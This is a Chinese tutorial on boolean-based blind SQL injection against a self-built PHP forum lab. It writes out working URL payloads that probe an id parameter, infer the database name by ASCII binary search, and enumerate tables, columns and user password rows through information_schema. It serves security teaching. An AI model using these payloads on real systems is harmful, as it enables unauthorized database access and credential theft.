目录
1 概述
- 当改变浏览器带入给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入,这时候可以试试看能否使用布尔注入。
- 布尔盲注:一般情况下,当带入参数为真和假时,页面会有不同的反映,比如有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。
2 实验平台
- 实验靶场——虚拟机:本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《win2008R2SP1+WAMP环境部署》,网站的搭建过程可以参考《综合实验:一个简单丑陋的论坛网站》
- 注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
3 实验步骤
3.1 判断是否存在注入点及注入的类型
在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在注入点以及注入类型,如是否是字符型还是数值型,是否存在延迟注入等。
- 用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。
- 将参数修改为
?id=2
,并点击run,看到页面变化如下,弹出第二条留言内容,由此可见后台是根据id的不同来反馈不同信息,而id是访问者可控的,是一个注入点。
- 修改参数为
?id=1 and 1=1
,返回页面与原页面一致 。通过该参数我们可以分析得到该注入数据类型为数值型,原因如下:
(1) 猜测为数值型,则后台SQL语句为 select * from table where id=1 and 1=1,where语句判断条件为真且id=1,语句正常执行。
(2) 猜测为字符型,则后台SQL语句为 select * from table where id=‘1 and 1=1’,where语句将找不到id为‘1 and 1=1’的参数,语句执行失败。
(3) 更多数值型和字符型的判断方法请查看文章《反证法:判断注入类型是数值型还是字符型》
- 修改参数为
?id=1 and 1=2
,由于 and 1=2 为假 , 所以页面应返回与 id=1 不同的结果,如下图所示。也就是说是否能正常回显内容与语句的真假性有关。
- 为了判断注入是数字型或是字符型,继续修改参数
?id=1'
,就是多了一个单引号,并点击run,看到页面如下。除了标题没有任何回馈信息,可以判断的是该语句带入到SQL中执行时,无法正常执行回显内容,但没有提示错误信息不知道能不能就判断是数字型的注入。
- 为判断参数是否存在延迟注入,按F12打开调试面板,在左侧继续修改参数为
?id=1 and sleep(5)
,并点击run。可以看到sleep语句对网页的响应起到作用,也就是意味着存在延迟注入的可能。
- 结论:
- 因为id参数是用户可控的,会随请求带入到数据库中执行并回显相应内容,是一个注入点。虽然可以用union注入,但是在本实验中我们演示如何使用布尔盲注。
- 根据第3步说明参数为数值型。
- 当参数条件为假时,无法正常回显,说明网页存在布尔类型状态。
- sleep语句对网页的响应起到作用,也就是意味着存在延迟注入。
- 从联合注入到盲注以及延迟注入,其时间人力成本逐步增大,尽可能选择低成本方式进行注入。
3.2 测试数据库名长度
- 修改参数为
?id=1 and length(database())<10
,页面正常显示,说明数据库名长度小于10为真。
- 继续修改参数为
?id=1 and length(database())<5
,页面没有显示内容,说明数据库名长度小于5为假,也就是说数据库名长度为5到9,包括5和9。
- 继续修改参数为
?id=1 and length(database())<7
,页面没有显示内容,说明数据库名长度小于7为假,也就是说数据库名长度为7、8或9。
- 继续修改参数为
?id=1 and length(database())<8
,页面正常显示,结合前几步测试结果,说明数据库名长度等于7。
3.3 逐个测试数据库名字符
- 可以将字母特殊符号和数字等逐个带入到参数中去判断,但是这些效率比较低,我们可以将字符转换为ASCII编码,利用数值能采用大小于号的判断方法,可以一次判断一大半,效率显著提高。ASCII公有178个字符,详细表单请查看《ASCII百科》
- 这里需要用一个函数来获取数据库名的某一个字符,在不同数据库中方法不一致,常见的有:
- MySQL:substr(str,pos,len), substring(str,pos,len)。
- Oracle:substr(str,pos,len)。
- SQL Server:substring(str,pos,len)。
- 其中pos=1时表示的是字符串str的第1个字符。
- 修改参数为
?id=1 and ascii(substr(database(),1,1))>89
,页面正常显示,表示第一个字符ASCII码大于89。
- 取89与178的中间数134进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>134
,页面错误显示,表示第一个字符ASCII码为[90,134]间的整数。
- 取90与134的中间数112进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>112
,页面错误显示,表示第一个字符ASCII码为[90,112]间的整数。
- 取90与112的中间数101进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>101
,页面正常显示,表示第一个字符ASCII码为[102,112]间的整数。
- 取102与112的中间数107进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>107
,页面正常显示,表示第一个字符ASCII码为[108,112]间的整数。
- 取108与112的中间数110进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>110
,页面内容没有显示,表示第一个字符ASCII码为[108,109]间的整数,即是108或109。
- 修改参数为
?id=1 and ascii(substr(database(),1,1))=109
,页面正常显示,说明第一个字符的ASCII码是109,查表可得该字符为m。
- 按同样方法可以测试出其他6位字符,得到数据库名为my_test。
- 思路推广:可以无需先测试字符串长度,直接逐个分析每个字符串的ASCII码,先判断其是等于0,如果等于0则说明该位为空字符(空字符不是空格),字符串结束。
3.4 测试该数据库中所有表名
- 思路:先测出该数据库下有几张表,再测试表名的每个字符。
- 先测试my_test数据库中有多少个表。修改参数为
?id=1 and (select count(table_name) from information_schema.tables where table_schema = 'my_test')<5
,页面正常显示,逐步调整参数,最后判断表数量有2个。
- 直接逐个字符分析,输入参数
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=0
,页面显示异常,说明该位置字符串非空。
- 当某个表格连续两个字符均为空时,结束该表格名的测试。经过多次测试,输入以下命令均为真,可得两个表名依次为messages和users。
/*第一个表名*/
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=109 //m
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),2,1))=101 //e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),3,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),4,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),5,1))=97 //a
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),6,1))=103 //g
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),7,1))=101 //e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),8,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),9,1))=0 //空字符
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),10,1))=0 //空字符
/*第二个表名*/
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),1,1))=117 //u
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),2,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),3,1))=101 //e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),4,1))=114 //r
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),5,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),6,1))=0 //空字符
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),7,1))=0 //空字符
3.5 测试users表所含字段名
- 先测试users表中有多少个字符段。经过多次测试,修改参数为
?id=1 and (select count(column_name) from information_schema.columns where table_name = 'users')=5
,页面正常显示,说明该表有5个字段。 - 按类似测试表名的方式,可以测试出所有字段名依次为id、name、password、photo、signature。
3.6 测试name字段和password字段所在字段内容
- 先测试name字段还有多少内容,经过多次测试,修改参数为
?id=1 and (select count(name) from users)=3
,页面正常显示,说明name字段有3个内容。同理password字段有3个内容。 - 与表名和字段名同理,可测试出name和password字段所有内容。
4 总结
- 理解布尔注入的判断原理;
- 掌握布尔盲注的方法。